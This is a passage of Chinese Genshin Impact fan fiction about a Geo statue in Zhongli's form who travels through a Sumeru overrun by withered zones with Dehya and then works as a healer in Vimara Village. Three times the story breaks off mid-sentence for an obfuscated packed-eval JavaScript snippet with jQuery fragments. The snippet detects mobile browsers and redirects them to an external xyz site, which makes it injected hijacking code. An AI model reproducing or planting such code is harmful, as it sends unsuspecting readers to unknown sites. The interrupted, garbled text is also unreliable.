《本体岩神像的我正在勇闯天涯》
1. 逃难不易
“不行,无法在这么远的距离还让草种子保持活性。”
潮润的微风闷闷地贴着人,地面硬邦邦的,是和正常雨林风格迥异的贫苦。
迪希雅烦躁地跺了跺脚,嗓音带着缺水的糙砺感。
对老辣的佣兵而言,连续一个月的风餐露宿原本不算什么。
须弥的广袤疆域是全体须弥人的骄傲,它囊括了维持生存必须的所有东西。
在雨林,她可以折下硕大的蕉叶,接取辛凉的丰沛雨水;红狐和长鬓虎随处可见,牦牦驮兽更适合和团里的兄弟一起分享;她可以撷取各种熟识的菌子,塞在辉木的果壳里,吸饱了烤肉滴落的、混合着香辛料芬芳风味的油脂。
强壮健美的炽鬃之狮从来不缺生存智慧。
原本是这样。
一个月之前的她从未想象过,自己会在雨林里碰上无水可饮的绝境。
遍地开花的死域像长鬓虎驱赶牦牦驮兽一样撵着她。
托小吉祥草王的福,须弥一直以来都把死域控制得很不错。
死域的表现特征,哪些区域是死域高发区,如何判断哪些地方有潜在的死域或者死域出现的苗头,如何清除死域……
须弥的民众对死域自然是避之唯恐不及,但也都能就死域的种种说出个子丑寅卯——所谓大部分人用不上、也无法对这玩意儿做点儿什么的常识。
但佣兵们绝对不是这个大部分人,迪希雅更不是。
对文化水平同教令院出身的学者相比一个天上一个地下的大老粗们而言,他们并不需要为草种子发生器的位置与地脉和世界树的关系头秃,能用来清除死域的实用性才是更重要的。
尽管须弥的民众不太想承认,但事实就是,遍布须弥的各种鱼龙混杂的佣兵团、这些和教令院的学者们简直像活在两个世界的大老粗,在客观上也承担了很大一部分清理死域的工作。
这对迪希雅而言,原本是很平常的事。
一开始,她还能就近找到草种子来消除意外出现的死域,把正常的道路清理出来,尽可能避免绕远路。
在喀万驿发现从纳塔流出的灵疗香薰很受魔鳞病患者们喜爱时,她就立刻想到了自己的好朋友迪娜泽黛。
呼玛依家雇佣他们旅团时,并不拒绝他们有空时接私活,只要不妨碍照护迪娜泽黛小姐的任务,他们有着相当充裕的个人时间可供支配。
当时她就是接了一位临时雇主的委托,在调整了旅团大家的排班后,亲自把对方离家出走来须弥城找妈妈的女儿送回喀万驿。
买到灵疗香薰时她还感慨自己这回抽空来一趟喀万驿真是来对了。
没想到出来一趟差点儿回不去。
带个好东西回去的工夫,在路上兜了一个月不说,还差点儿把自己的小命给搭进去。
想到这里,迪希雅下意识地回头,望向一个星期之前才认识的同行者,“看来只能继续绕道了。”
但缀在她侧后方丈余的那人并没有立刻回应她。
迪希雅看过来的时候,他也在回头望,迪希雅这一望,只看到对方硬朗利落的侧脸。
如果不是在荒野求生而是在酒馆之类的地方,迪希雅高低得就这人的颜值调侃两句,甚至她能想象得出如果有佣兵团的兄弟姐妹们在场,会如何起哄着跳舞的情形。
因缘巧合与她同路的男人有着一副任谁来看都很璃月的形貌。用他们佣兵贫瘠的文字功底来形容的话,大约就是“他能够满足任何一个不曾真正见过璃月的人对璃月所有的美好想象,看到他,就是看到了璃月。”
生存的智慧让须弥本地人迪希雅体贴地没有去追究这么一个璃月人出现在谒颂幽境的缘由,成熟的佣兵都很懂如何处理自己不合时宜的好奇心。
但现在……
狮群里的狮子不会放过任何吸引了一个成员注意力的东西,尤其成员少的时候更是如此。
他们是彼此的耳目,是彼此的大脑,是彼此的技巧和力量。
他在看什么?
迪希雅顺着这个同路人的目光看过去。
那个方向,是他们刚刚才翻越的一座小山丘,现在却正满盈着灰败的暮气。
“啊,是新的死域。”
迪希雅已经见怪不怪了。
人的适应性是很强大的,从一开始在意外的地区遭遇死域时的凝重,到现在的淡定,也只需要不到一个月。
能让同行者这么注意的,大概不止是单纯新长出来的死域,而是还有其他什么东西。
“里面有个人。”
很显然,同行者有着甚至比迪希雅这个老资历的佣兵更卓越的目力、或者说感知——很难说一周之前的迪希雅是不是得益于此才捡回一条命。
又或者说,这毋庸置疑是对方能够独自穿过二净甸的重要倚仗。
正常情况下,从喀万驿到须弥城最近、也最便捷的路,是北上经谒颂幽境穿过二净甸,在天臂池过渡入港,或者是同样经谒颂幽境穿过二净甸,从须弥城西北的大路进城。
可现在……
把喀万驿和须弥城连一条线段作为斜边,把须弥城放在60〇角上作直角三角形,他们现在差不多就在那个直角上:)
正儿八经的大路已经走不了了。
遍地开花的死域像长鬓虎驱赶牦牦驮兽一样撵着他们。
面对那些出现在离草种子发生器不远、且面积没那么大的死域,迪希雅自然不会吝啬于自己的力量。
但很显然,在不久前发生了什么她并不知道的事。
原本被控制得好好的,只会在教令院发布的通识地图上标注的高发区出现的死域,也在其他地方蔓延了开来,而且显而易见地一发不可收拾。
就算是不曾正儿八经地在学堂里念过书,也并不妨碍她看出来,这里正在快速滑向失控的深渊。
面对前方这种左近没有草种子发生器、显然已经不在她能力范围内的死域,最好的应对方式就是绕行——有的时候,死域甚至不会给你绕行的机会,它会突然出现在你刚刚走过的路上,乃至在你的脚底。
前后左右天上地下,哪哪都是枯萎凋败的绝境。
处在死域里的时候,人就像一个被剪了个洞的袋子,生命力会从破口处止不住地往外流失。
对迪希雅而言,这确实是一种足够刻骨铭心的感觉——就在一周之前,她差一点就因此把自己交代在某处鸟不拉屎的地方。
真·鸟不拉屎:)
那时,她被堵在从已经被死域占据了前方整个视野的二净甸折返谒颂幽境的路上。
那块新生的死域占地很大,草种子的活性根本无法撑到消除死域瘤,逃生的过程又累又饿,里面层出不穷的魔物让她应接不暇疲于奔命。
直到她被这个神奇的璃月人拉住,被从地狱拉回人间来。
来到他身边的时候,迪希雅还没从身体的衰弱感一扫而空的突变中回过神来,就被塞了一颗还没熟的墩墩桃。
一口下去,她顿时被酸得把脸皱成一团。
可她还是兴致勃勃地把那个从小到大吃过的最酸涩的墩墩桃一口不剩地全炫完了。
虽然还没看到还没听到,但她也能够想见,同路人所说的那个人,很可能正在面对着一周之前的她遭遇的困境。
想到这里,原本还在烦恼接下来怎么绕行的迪希雅决定暂时忽略其他,先折返去捞下那个倒霉蛋。
“更具体的方向有么?我去接那人,你在这里等着,如果有新的死域,你撤离时路上做好标记,放心走,我会追上你。”
她不是同情心泛滥的性格,但在有能力保全自身的前提下,她并不在意拉拔落难者一把。
来自璃月的同伴并没有望着那个方向多久,很快他就朝那里迈出了脚步,“走吧。”
没有救人的必要了。
迪希雅当然不是谁肚子里的蛔虫,并不知道这个同路人没有出口的判决,还以为是同伴出于关心而不放心她单独前往:“诶,我单独过去会快一点,快去快回,咱们也好早点绕开这里。”
对方拒绝了:“我能跟上你,”不存在快一点慢一点的问题,“同去。”
事实证明,这个能把她拉出死域的同伴确实没有夸大其词。
熟悉的、身体被剪破了个洞的感觉再次黏黏糊糊地把她腌渍起来。
灰败颓涸的世界在试图把他们一并剪进自己没有色彩的镜头里。
她向神明祈祷着,希望那个倒霉的家伙还没有被这毫无品味的死域玩坏掉,不求像同伴那铜色的发尾一样依旧油光水亮的,至少也得跟她差不多吧。
……
——可燃烧的心无法点着早已烧净的烬尘。
迪希雅有些焦躁地踱着步,像一只刚刚被鳄鱼咬死了族中幼崽的长鬓虎一样,时不时呲出獠牙来,却不知该向谁讨个公道。
不是
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16279209|182475||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
谁都有能力像她这样活着离开死域的,事实上,大部分人都做不到,尤其是在面对那些新的死域的时候。
很不幸,她一次都没有救到人。
已经能自己出来走跳的佣兵对收尸火化的事都不陌生——不论是出于对同伴的爱护,或者是出于对敌的需要,干净地处理尸体都是佣兵必备的技能。
尤其是当她还是个火系原神的时候。
哪怕是当下与她同行的同伴显然在收尸这种事上颇有讲究的时候,她也还是不可避免地被托付了火化尸体的重任。
维摩庄是危机四伏的降诸魔山编织在荆棘冠冕顶上的帕蒂沙兰。
“这位死者的吊坠里有张映影,看起来是全家福。”
男人熟练地详细检查死难者身上和行李中的物品,而迪希雅负责分类汇总打包——用她的话说,这乍一看简直像是强盗杀人越货之后在分赃的现场。
对此,气质敦厚沉静的同伴哪怕是因为有人死难而无法欢心,也会顺着话头回两句,稍事舒缓这一路风尘过来难免的紧绷。
“那倒是好办了,这帮人也是从维摩庄的方向来的,到那边的佣兵和冒险家据点发个告示就行,”在须弥走南闯北的相关事务自然还是迪希雅更熟悉,“好在快到维摩庄了,要是再到不了城镇,我的行李可放不下那么多人的骨灰和遗物。”
就算比常人多了神之眼的储物空间,这也装不了那么多东西的。
听迪希雅这么说,同路人也叹了口气无奈道:“我也没想到这一路竟这般波折,希望接下来莫要再生出什么事端来了。”
一开始他都想好了,靠着能给人回血的特性,扎个悬壶济世的旗子、当个半桶水的蒙古大夫,应该还是能正常过日子的,还想着去著名的须弥城的活力之家观摩一二。
桓那兰那离须弥城很近,至少从地图上看是的。
但这个距离并没有近到他能够无视莫名大雾的阻隔就能跨越的程度。
他不了解须弥,但他自认姑且还算了解璃月——那莫名的大雾让他首先联想到的,是来歆山的屏障。
沉玉谷的仙人曾经把来歆山与外界隔绝开来,就算是有好事者设法进入了那片作为屏障的大雾,也无法踏上来歆山的土地——
哪怕来歆山确实就在那里。
记忆中,地图上的须弥城就在那里,并不像来歆山那样,对提瓦特这片大地犹抱琵琶半遮面。
以他过往得到的知识来看,按照神秘侧的规则,“看见”是一个非常重要的前置条件,正如“知道”之于禁忌知识的污染。
在权衡了自己会投入的时间和“到不了须弥城”的可能之后,他果断选择了绕路。
须弥人闻之色变的死域并不能对他造成什么实质性的困扰。
饮食睡眠于他并非刚需,魔物无法对他造成伤害,除了感慨真实的死域比他以往知道的多很多也大很多之外,死域对他而言最大的影响,竟然是经常会在里面捡到死人——这种往生堂的家常便饭。
好像提瓦特所谓的命运,正在试图以一种卑鄙的方式役使他。
诚然,此身面目确乎源自那位在三次元火到出圈的往生堂客卿,但他从不认为,自己就应该去从事对方从事的工作,甚至以三次元的桥段,还要去按对方的性格习惯行事。
不论是在桓那兰那与兰那罗们同吃同住时,还是捡到幸运地还没有被困死在某处大型死域中的迪希雅之后,他都从未以钟离自居。
他知道自己不是钟离。
但也没有人相信他的自我介绍。
谁会真的相信他是“七天神像-岩”呢?
兰利遮在初见时便好心地给被误以为饿晕过去的他塞了一块墩墩桃。
但兰那罗家里的七天神像-草依旧静默不曾回应,毗波耶的故土依旧是世外桃源。
森林的答案入木三分。
迪希雅更是发出“该自我介绍过于蒙德”的锐评。
他能够理解桓那兰那只是在保护森林自己,沙漠的孩子也只当这是尚不互相了解的人开的善意玩笑。
好在,不论如何,尽管离须弥城很远,但像往生堂员工一样捡尸体的日常总算是快要告一段落了,如今事情眼看着是在向好发展的。
许久未见的人类聚落已经出现在他们的视线里,正在清晨尚还凉爽的日光里星罗棋布地飘着慢悠悠的浅淡炊烟。
那里是维摩庄,阿陀河谷的骄傲。
2. 蒙古大夫
眼前真实的维摩庄并不是他此前记忆中表现的那样,只是一个河谷中的、看起来部落氛围浓厚的寻常规模的乡村聚落。
站在高处粗壮的气生根天然形成的干道上,可以清晰地看见一整个大型聚落,高低错落鳞次栉比地排布在河谷两岸。
人们和水里大大小小的船只都在来来去去地忙活着各自的生活。
似是而非的浮世浮生,与印象中的璃月港恍惚重叠成不尽相同的光景。
实际上只是个联通奥摩斯港和须弥城的运输枢纽的维摩庄都这样了,那以“百货错出,千船继至,万商云来”享誉提瓦特、乃至在三次元圈粉无数的璃月,又当是如何光景呢?
“好看吧!”
尽管距离真正的目的地还远着,但在荒野求生了一个多月之后,终于来到了一个人口聚居地,再加上同路人这明显被维摩庄征服了审美的表情,迪希雅显而易见的情绪高涨。
不可否认,和其他任何国家一样,须弥也有诸多不好的地方。
错综复杂的自然环境,绝对算不上好的治安,高知与贫民的天堑,雨林与沙漠的纠葛……哪个在须弥走南闯北的人都能就须弥的不好说上一宿不带重样的。
但祂依旧被许许多多的须弥人爱护着。
这里是家,祂得到外人喜爱,着实是一件叫她高兴的事。
“接下来我要去据点,把这些路上带上的东西挂出去,你有什么打算吗?要不一起到据点来,跟我们团的兄弟们一起喝两杯?”
鉴于二人原本的目的地都是须弥城,加上这个同路人确实很好相处,迪希雅其实不太希望就这么解散这支因缘巧合组起来的拼好队。
而且,万一人家觉得他们三十人团不错,这不就等于团里又能多一个兄弟?
来自璃月的朋友闻言陷入了沉思。
虽然一开始是打算去须弥城,但前往须弥城也只是出于他基于神像的特性临时将自己的工作定为游医、而决定前往须弥城的活力之家看看须弥本地医疗行业的现状。
“我能知道你计划在维摩庄停留多久吗?如若时间充裕,我想找个合适的地方支个摊子给人看病,当然,行程安排比较紧凑的话,那我就尽快去补充些路上的吃用了事。”
他很自然地默认了继续组队行动的倾向。
“维摩庄的疗养产业很发达,虽然须弥城的医疗能力才是全须弥最好的,但得益于这里温和的环境,很多身体不好的人都会选择来这边休养。”
“在这里给人看病的话,只要医术过得去,就不用担心没生意,只是和本地同行之间的竞争压力会有一点点,嗯。”迪希雅比了一个指尖宇宙的手势,笑得意味深长。
为朋友的决定感到高兴是一回事,直面这件事会遇到的挑战是另一回事。
直白点说就是——
兄弟,蛋糕就这么大,想从别人手里多切一块出来,你点子够硬伐?
而好在,人家对此的回答是:“那就好。”
他清楚自己的优势。
没有望闻问切,也没有视触叩听嗅,主打刷血和消buff,要是这两下子解决不了,那就直接没救了等死吧告辞。
设定是这样的,除非改代码,或者给他加剧情背景,否则就是法涅斯来了他还是这副死样子。
可想而知,除了走投无路死马当活马医的人之外,大部分人都会对这种没有表现出任何诊断过程的诊疗抱以不信任的态度。
而就是在这样的背景下,一个看起来无伤无病的璃月人造访了他这门可罗雀的摊位——
“啊,是钟离先生啊,好久不见了。”
该说不说,钟离真不愧是璃月港的大名人,又或者世界真的很小。
“看来您认识璃月港的钟离先生,可知他近来如何?”
一直以来,他都无意冒领钟离的身份——不论是之前和迪希雅互相自我介绍时,还是如今纠正他人的错认。
“啊呀?没想到会在须弥遇到与钟离先生这般相像的人,冒昧问一句,您与钟离先生究竟是?”
访客显然对他生起了好奇心。
他知道常年在璃月冒险家协会前台工作的凯瑟琳小姐的姐妹都和她生得极为相像——跟冒险家协会打交道的很多人都知道。
可从来没听说过那位璃月港的大名人也有与之生得宛如二重身的兄弟。
“关系……唔,是岩王帝君和岩神像的关系。”
以诚待人是璃月的传统美德。
不出意外的,传统美德并非什么时候都能够得到他人的喜爱,尤其是对方还是几乎全员岩神粉的璃月人的一份子,听到这个回答没有勃然变色都算对方涵养好——
甚至人家还能勉强维持表情管理一边试着找补:“哦!一般人可没有勇气以岩王爷这样的伟岸人物作榜样,更别说用神像这种标准来要求自己。我是来自璃月港的商人玥文,想与大夫交个朋友,不知如何称呼?”
就算是出于多年行商的素养,本能地与不熟悉的人维持和气,可玥文在措辞语意上还是不自觉地带了点儿刺。
可被扎了刺的人并没有听出来——
他在想自己长久地忽视了称呼的问题。
在桓那兰那,他在兰利遮他们那里的称呼都是诸如那菈、石头那菈、硬硬的那菈,这样的,不存在称呼不明导致误判对象的问题,自然不会去考虑另外的称呼。
遇到迪希雅之后双方进行自我介绍,迪希雅也没有就他自我介绍是岩神像这一点说什么,小队里就他们俩,日常相处中不论说什么话,都不会存在语言指向对象的误判问题。
而现在……
他需要一个能够对他人介绍自己的、有独一指代的称呼。
再像之前模仿“我是迪希雅”这个句式那样自我介绍说“我是岩神像”,就是不妥的。
对方遣词造句的结构是说“如何称呼”,而不是说“是什么”——他只是需要一个能够调用的地址,而不是一整个库。
所以……
他应该叫什么?
踟蹰的视线下意识望了望东北边。
化城郭的草神像再往东,就是璃月的地界了。
那是层岩巨渊的地面矿区,如今距离他最近的另一位岩神像在凝视暗无天日的深渊,缄默得一如曾经的他。
层岩巨渊……
“啊,我的荣幸,叫我哈达察布就好。”
大石头,凹陷之地。
他又朝着那里望了望,有些担心。
说实话,他对层岩巨渊并不熟悉,作为一个朝向赤望台和厄里那斯的岩神像,他此前对这位直接对接巨渊地底的寒天之钉的同类也没有多少了解。
但在须弥出了桓那兰那
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16279210|182475||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
后这一路上看到的颓败枯涸,由不得他不去担心自己的同类。
“看来是老夫看走眼了,瞧着您这副模样,又同钟离先生那般肖似,合该是璃月人,可这名儿?听起来颠倒不是?”
玥文深谙在人际交往中适当表现“不体贴”、“没分寸”、“缺心眼”的艺术,不光没讲究“只要你不打扰我我才不会去好奇你怎么变//态”这种璃月式的含蓄,反而就这么大大方方地表示了自己的好奇。
好奇心既是可能会在不知情的情况下伤及他人的利刃,也可以是那个破局开路的意外性。
“我自然是璃月的,”自称哈达察布的游医抿了下唇,看起来兴致不高,“此名源于层岩巨渊一带的古语,只是个寻常的名字。”
哈达察布没骗对方。
这是个来自马头琴传唱遒劲荒凉的莽荒、也确实意味寻常的名字,和钟离本人在不同时候使用的不同化名没有本质差别。
如今他离层岩巨渊近,所以自称哈达察布,万一以后走到离沉玉谷近的地方,说不定他就改为自称嘉X了呢。
非要说哪里不甚称心的,也就只他作为本质非人的存在,不能以璃月人自居、只能说自己归属璃月,在表述上有点儿小瑕疵的遗憾罢了。
他摇摇头:“不提我这小小游医,玥文兄既造访了我这摊子,可神气尚还完足,加之有心同我闲话,看着不像自己或是家人有疾患,也就我这摊子这会儿无人来求医,索性得闲,不若便聊聊玥文兄刚才提的那位钟离先生吧。”
不提自己原本呆着的庆云顶现下如何了,又或者这里确是另一个提瓦特,有着另一尊岩神像还好端端在庆云顶,便是如今自己顶着人家的形貌特征招摇过市,若贸然去了璃月,怕是要给人添不少麻烦,怎的也得尽可能多做些功课才好,省得未来上门却成了恶客。
他从不怀疑自己未来会去往璃月——如果没有,那一定是他出了意外死在去往璃月的路上了。
被转移了话题,玥文也不觉意外,叫他意外的是另一件事:“听您这般说,如我所料无错,您应该没在璃月港生活过吧?”
支起游医摊子的青年人有着一身怎么看都很璃月的形貌、以及璃月世家大族的子弟噎金咽玉居移气养移体都不一定养得出来的感觉。
是以他一开始就默认了,这人就算是做着游医这种璃月人普遍不怎么看得上的行当,可也绝对在璃月港的绯云坡甚至玉京台这些高档富人区耳濡目染过很长时间。
毕竟璃月人都知道,在璃月,最好的医馆、最好的大夫、最好的药材,都在不卜庐。
医疗资源和财富一样,是会富集的。
一个璃月的大夫,不在璃月港,不在遗珑埠,不在翘英庄,也不在像须弥城或者蒙德城或者枫丹廷之类的地方。
反而像现在这样在维摩庄——就好比在蒙德的清泉镇、在稻妻的绀田村。
要么是大夫水平不行,竞争力不足以挤进医疗行业的上层圈子,要么就是这人就纯属来体验生活的。
玥文以为两者皆有。
世家大族的公子哥出来体验生活,很经典的话本桥段了。
——直到他听到对方这个“没事唠一唠那个往生堂客卿”的神奇发言:)
谁家好人会说“诶咱今儿个没事来唠一唠璃月港里的那个小谁”啊?
这对吗?
3. 逃离迷航之海
反正玥文觉得这不太对:“璃月港的人谁没事说人家钟离先生啊?”
那么大一个璃月,放着岩王帝君和那么多仙人、古今各路侠士豪杰、当今七星八门种种轶事不谈,去说一个既非豪富、又世家不显、更不似仙者,只能说才学高卓又在某些方面特立独行的奇人。
人到中年的商人越想越是不得劲:“咱这不是看您与人家钟离先生生得肖似,是以才问一问,哎,你这……”
他一开始是惊讶于钟离先生竟在此时留在这异国他乡,还不知怎的支了这么个摊子,便有心来套个近乎,知了这人不是钟离先生,又被对方那“岩王帝君与岩神像”之说激起了火气,便有心拿言语刺一刺这没规矩的愣头青,可谁曾想——
欸,如今年纪渐长,自己这脾气还是愈发好了,但凡放在他年轻时,定是要叫这人好生吃些教训的。
“是我唐突了,”游医很爽快地告了歉,“我虽未有在璃月港留居,但也知这位钟离先生学富五车才高八斗,乃璃月港数得上号的风云人物。”
“如此佳人,至今缘悭一面,此番玥文兄提起,叫我知了我二人竟生得肖似,如何能不抓心挠肝地好奇?”
游医本人确实是单纯地在表达自己的好奇之心,但在外人看来,就完全不是一回事了。
玥文突然意识到自己约莫是犯了轴,而不期然间撞破了什么不得了的事。
已经不再年轻、但和璃月历代年轻人一样曾饱览各类话本的脑子里,快速闪烁着诸如“豪门龃龉”、“阴差阳错”、“兄弟成冤家”、“口嫌体正直”等等在璃月话本界经久不衰的桥段。
游医并不知道这个目光逐渐慈祥的璃月人都脑了个啥,也并不知道就这么一会儿工夫,自己就成了阴差阳错少小离家、努力把自己教养得还不错、与兄弟立场冲突但依旧别扭地拐弯抹角关心对方的美强惨。
毕竟都是“岩王帝君和岩神像的关系”了呢。
老资历的璃月商人点了点头:“这倒是,看您这样儿,要说跟那钟离先生没有干系,就是岩王爷来了,也是不信的。”
“得是璃月的讲究不似稻妻那般穷讲究,否则像您和钟离先生这般像的人,若是作兄弟生在同一家,指定还要生出多少风波来。”
资源远不如璃月丰裕的稻妻并不是一个容易生存的地方,哪怕是高门大户,将培养资源集中在某一个继承人身上也是常态。
双生子中,一个会得到几乎所有的培养资源,另一个会被放弃培养、或是几乎被放弃——时至今日,这个传统依旧在稻妻的许多有点资本去讲究的人家被践行。
像社奉行的神里家那样,两个同辈同宗的继承人都长得非常卓越、并且能一起掌舵的,数遍当下的稻妻,怕是找不出第二家来。
而资源相对富饶的璃月早已在日渐远离战争的时光里普遍抛弃了这种落伍又低效的果断无情。
他们已经很久不用再去纠结一把麦子要留给家里还活着的谁、才能让自家的香火不致断绝——如今的璃月轻易饿不死人。
精明的商人们、又或者说追逐高效的资本,主动为这个国家找到了更不浪费人力的出路。
如飞云商会那般,长子操持家业、老二在外美其名曰快意江湖实则打拼扬名的集团,在当下的璃月并不少见,即便不是谁家的孩子都能做到如那位复兴古华派的未来之星那般卓越,只要别闯出大祸来,也好过养猪猡似的白白荒废一个人。
怎么想钟离先生和这位自称哈达察布的游医都不应该是这种情况。
游医觉得这不是一个容易想象的情景:“我以为应当不致如此严重。论才智能为,我不如钟离先生,若为兄弟,家中更为重视钟离先生,实乃理所应当,便是有心人作梗,道是一个巴掌拍不响,这风波自是翻不起什么浪来。”
高效取代低效,简洁取代繁冗,达成同样效果的路径无条件向更低内存坍缩。
底层逻辑与人类截然不同,兄弟阋墙这种风波于他而言,只是可以被记住、被总结、被推测、乃至被基于丛林法则来解读的一种现象,而无法被换位思考乃至感同身受地共情。
思想反映到语言的回应,就是一种在常人看来,不说反人性,但至少也该说是过于没脾气乃至没血性的面团感。
就像无脑后宫文里的女人能和和美美围着一个男人转一样荒唐,但又诡异地能够爽到一些读者。
作为一个沉浮商海数十年、深谙人性的老油条,玥文深知这种性格的人是绝对不能作为领袖的——正如后宫文里哪怕心机深沉可还是仰人鼻息的菟丝花们。
血性、勇气、野心,这些跟着人自远古传承至今的生存渴望一并刻进灵魂的、承载着许多转机的东西,从来不是为家人着想而执行的所谓机关算尽的最优解能可衡量的。
在他看来,这个可怜的游医被家族放生的原因也很明显了。
等级森严的狼群不需要一个被成年同性的同族跨过后背还好脾气地没有施以惩戒的头狼,这样的家族成员要么彻底边缘化成为小透明,要么成为族群中可以被任何同族用于发泄负面情绪的团欺。
玥文觉得自己应该体贴地略过这种可能触及对方伤疤的话题,但又得想办法兼顾对方对钟离先生本人的关注:“唉,我走之前一日才在吃虎岩见过钟离先生,也不知现下璃月港如何了,听说外边的情况越来越糟,经维摩庄中转的船只也少了许多。”
这确实是游医无法不去关注的点。
“你来维摩庄之前,璃月港可是还好端端的?”
“可不是嘛!”说到这里,玥文只觉得一肚子郁闷,“走之前也没哪里不对劲,谁知突然就哪也去不得了呢?”
看来危机是突如其来的。哈达察布拧了拧眉。
在外界变成这个鬼样子的情况下,被藏起来、但又没完全藏起来的桓那兰那,祥和得像个格格不入的孤岛。
以至于他在离开桓那兰那之后,没少因为和自己的记忆大相径庭的外界环境而怀疑自己。
兰利遮他们现在还好吗?
“庄里最近可有璃月来船?他们怎的说?”
玥文摇摇头:“有是有,虽说数量确实少得不正常,但总归未曾断了与璃月的通商,只是……”
“只是?”
“许多船员都说到在海上迷航的事,”经验丰富的璃月商人说着,也不由得在面上带出了些许惶恐,显然是对海上迷航的危险程度深有认知,“而且他们还说了一些,唔,至少不是我能想明白的东西。”
“比如?”
“你知道从璃月港来到维摩庄的大致航线吧?”得到了肯定答案的玥文压低了声音,“那你知道的吧,不论怎么想,枫丹的白淞镇都是绝不应该出现在这条路上的才对。”
哈达察布提出了第一个猜想:“海市蜃楼?”但又飞快地否定了,“不对,如果是海市蜃楼,经常出海的人不至于是这样的反应,也不至于让您无法理解,所以?他们切切实实踏上了白淞镇的土地?或者是当时和白淞镇的人有交流?”
“那可不!据说那艘船上当时便见着白淞镇的口岸
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16279211|182475||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
亮灯指引他们入港,船上原本是要拉到须弥城出手的粮食直接就在当地卖出去了好多。”
没错,出产丰沃之惠的须弥得从国外进口粮食。
这里涉及一个有点反直觉的东西:不单是沙漠,雨林也是贫瘠的。
深耕大地的盘根错节造就了遮天蔽日的雨林,满目的葱郁极速周转着一切能够搜刮到的营养,作为森林回护地脉的代价,这片生机勃勃的大地再无力为人类供养出充足的粮食。
是以,哪怕在曾经的漆黑灾祸中,那种最艰难的时候,须弥的粮食进口也从未断过。
驮着粮食的船舶离开蒙德的荆夫港,沿途在璃月港和奥摩斯港停留交易,在维摩庄修整,大部分物资在离开须弥城之前脱手,若还有剩余,则全数流入拜达港。
离沙漠最近的海港。
“后来呢?他们在白淞镇时,有遇到什么奇怪的事吗?离港的过程与平常时有哪里不同的吗?”
“这个啊,别的不好说,但我个人觉得有一点最奇怪,刚才也说了这些人是迷航到那不应出现在那里的白淞镇的,问题就在这个迷航上了。你不觉得在这种情况下还能找到奥摩斯港入境须弥很奇怪吗?”
“的确,他们本就是迷航者,从那奇怪的白淞镇到奥摩斯港更是无有航线可言,他们是循何指引至此的?按理说他们应该停留在至少能够让人立足的白淞镇,而非继续驶向未知的海里。”
“我也是这样想的。他们说海上有很浓的雾,不管怎么想,在这样的天气出海,都绝对不是什么好主意——他们明明好不容易幸运地在迷航中遇到了白淞镇这个至少能有块结实土地的地方,尽管它不应该出现在那里。”
“所以有没有可能?船上有人发现了更大的异常,从而迫使他们宁愿面对浓雾中未知的恐惧,也不愿继续逗留在那块突兀出现的土地上?”
玥文点了点头:“可他们没说,表现得也很平常。”
这种情况下,平常,就是再醒目不过的异常。
“而且,关于浓雾,”哈达察布敲了敲桌子,“从茸蕈窟西边的桓那兰那前往须弥城的大路上,也升起了浓雾。”
一开始让他选择折返绕行的直接原因。
“这我倒是不知,只听说现在须弥死域泛滥,有很多人已经在外边没了。”
他本只是看这维摩庄环境温和生活便利,生了在这里安居养老的打算。
想到这里,玥文有些沮丧。
“你看起来很难过,是在为这些死难者吗?”游医想到了之前的迪希雅,“你说的没错,至少我在须弥看到的是,的确已经有很多人死于这种异变。按你获得的消息来看,这绝不仅仅是须弥一国的灾难。”
须弥,璃月,枫丹,这已经至少三个国家了。
那蒙德、稻妻、纳塔、至冬呢?还有一些特殊的地方,比如基本只能算是一个特别行政区的挪德卡莱,又比如渊下宫、层岩巨渊的地下矿区?
“唉,岩王爷保佑,希望璃月没事。”
在面对这样的巨变时,普通人几乎可以说是无能为力,只好寄希望于神通广大的神明。
“恕我直言,没事的可能性微乎其微,与其指望岩王保佑璃月平安,不如想想万一璃月一整个直接完蛋你待何去何从。”
在璃月人听来,哈达察布这话简直就像往生堂的促销宣传一样晦气得很。
可偏生这人在玥文变脸之前又补了一句:“起码这样想,之后你再听到璃月的什么消息,总不至于比这更坏,那就都是好消息了。”
4. 厚礼
不得不说,游医这人,确实是有点子话疗的能耐在身上的。
被堵得欲言又止、又不得不承认确实诡异地有被安慰到之后,新认识的璃月老乡更想先自己一个人静静。
新摊子人气寥寥,这一整个上午,哈达察布接诊的患者也不过只手可数,一直到下午,等来了一副了却心头一桩大事、整个人神清气爽的迪希雅。
迪希雅不是一个人来的。
“好心的医生您好,我是镀金旅团的瑞贝卡,这是我爱人达乌德,此番前来,是为了感谢您对我们大姐头施以援手的义举。”
和迪希雅一同前来的,是一对外表看起来就很火辣的夫妻。
哈达察布微笑着冲主动向他问好的女人点了点头:“举手之劳,其实这一路上更多的还是迪希雅照顾我,是我该感谢她才对。”
